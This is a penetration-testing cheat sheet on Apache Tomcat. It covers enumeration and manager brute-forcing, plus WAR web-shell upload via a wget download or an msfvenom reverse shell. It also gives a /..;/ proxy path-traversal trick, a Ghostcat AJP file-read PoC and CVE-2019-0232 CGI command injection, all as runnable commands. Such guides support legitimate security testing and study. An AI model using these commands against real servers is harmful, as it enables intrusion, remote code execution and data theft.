Tomcat

Introduction

The following schema represents a general folder structure of a Tomcat installation

├── bin ----------------------> The bin folder stores scripts and binaries needed to start and run a Tomcat server. 
├── conf ---------------------> The conf folder stores various configuration files used by Tomcat.
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml -----> Stores user credentials and roles. Allows/disallows access to /manager and /host-manager admin pages
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib ----------------------> The lib folder holds the various JAR files needed for the correct functioning of Tomcat.
├── logs ---------------------> The logs and temp folders store temporary log files
├── temp ---------------------> The logs and temp folders store temporary log files
├── webapps ------------------> The webapps folder is the default webroot of Tomcat and hosts all the applications.
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
|   ├── jsp
|   |   └── admin.jsp
|   └── web.xml --------------> Contains sensitive information. Stores information about the mechanisms underlying the application
|   └── lib
|   |    └── jdbc_drivers.jar
|   └── classes --------------> All compiled classes used by the application
|      └── AdminServlet.class  
|
└── work ---------------------> The work folder acts as a cache and is used to store data during runtime.
    └── Catalina
        └── localhost

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Footprinting & Enumeration

Command	Description
Browse to http://test.example:8080/invalid	Requesting an invalid page should reveal the server and version
curl -s http://test.example:8080/docs/ | grep Tomcat	Read the default documentation page and check the Tomcat version
Browse to http://test.example:8080/manager	Check if the manager (admin-only) page exists
Browse to http://test.example:8080/host-manager	Check if the host-manager (admin-only) page exists
https://github.com/p0dalirius/ApacheTomcatScanner	Useful tool to quickly scan Tomcat instances
https://raw.githubusercontent.com/nixawk/fuzzdb/refs/heads/master/discovery/applications/ApacheTomcat.fuzz.txt	Useful wordlist to fuzz Tomcat instances

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Tomcat Manager Attacks

Having access to the /manager or /host-manager admin pages can help achieve RCE on the Tomcat server

1. Login Bruteforcing:

   • To attempt login bruteforcing, se the auxiliary/scanner/http/tomcat_mgr_login Metasploit module

   • Note: in case of errors, you might need to set PROXIES http://127.0.0.1:8080 and edit the requests sent by the module with BurpSuite

2. Tomcat Manager WAR File Upload to RCE

   • Prerequisites: credentials of a user with the manager-gui role

   • [Automatically] - Metasploit: multi/http/tomcat_mgr_upload

   • [Manually] - Download JSP Web Shell: wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp

   • Add the web shell to a WAR archive: zip -r backup.war cmd.jsp

   • [Alternative Payload]: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT=<your-nc-port> -f war > backup.war

   • Navigate to /manager/html and upload the previous WAR file containing the JSP WEB Shell

   • Get RCE: curl http://test.example:8080/backup/cmd.jsp?cmd=id

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Path Traversal via misconfigured Reverse Proxy

In some vulnerable configurations of Tomcat you can gain access to protected directories in Tomcat using the path: /..;/ or /;param=value/

Tomcat will threat the sequence /..;/ as /../ and normalize the path while reverse proxies will not normalize this sequence and send it to Apache Tomcat as it is. This allows an attacker to access Apache Tomcat resources that are not normally accessible via the reverse proxy mapping.

You can read more about this misconfiguration here

For example, you might be able to access the Tomcat manager page by navigating to

www.example.com/blabla/..;/manager/html

Another way to bypass protected paths using this trick is to access

www.example.com/;param=value/manager/html

Notice that this misconfiguration might not always give you access to the Tomcat manager, as it was patched to only allow the same host to access it, as explained by the error message below:

By default the Host Manager is only accessible from a browser running on the same machine as Tomcat. If you wish to modify this restriction, you'll need to edit the Host Manager's context.xml file.

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Unauthenticated LFI - GhostCat

• Only works if the port 8009 is running the AJP service

• Only allows to read files and folders within the webapps folder

Follow these steps:

1. Use https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
2. PoC: python2.7 tomcat-ajp.lfi.py test.example -p 8009 -f WEB-INF/web.xml

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Attacking Tomcat-CGI [Windows]

1. What is a CGI Servlet?

   • A CGI Servlet is a program that runs on a web server to support the execution of external applications that conform to the CGI specification.

   • It is a middleware between web servers and external information resources like databases

2. How does CVE-2019-0232 work?

   • CVE-2019-0232 is a critical security issue that could result in remote code execution.

   • Versions 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 of Tomcat are affected.

   • This vulnerability affects Windows systems that have the enableCmdLineArguments feature enabled.

   • An attacker can exploit this vulnerability by exploiting a command injection flaw resulting from a Tomcat CGI Servlet input validation error, allowing to execute arbitrary commands on the affected system.

Follow these steps:

• Find any .cmd or .bat file inside the cgi directory by extension fuzzing

• Fuzzing .cmd: ffuf -w /usr/share/dirb/wordlists/common.txt -u http://test.example:8080/cgi/FUZZ.cmd

• Fuzzing .bat: ffuf -w /usr/share/dirb/wordlists/common.txt -u http://test.example:8080/cgi/FUZZ.bat

• After finding one such file, append &command to gain RCE (example: welcome.bat)

• http://test.example:8080/cgi/welcome.bat?&dir

• Troubleshooting: specify the absolute path to the command, or alternatively you might need to use URL Encoding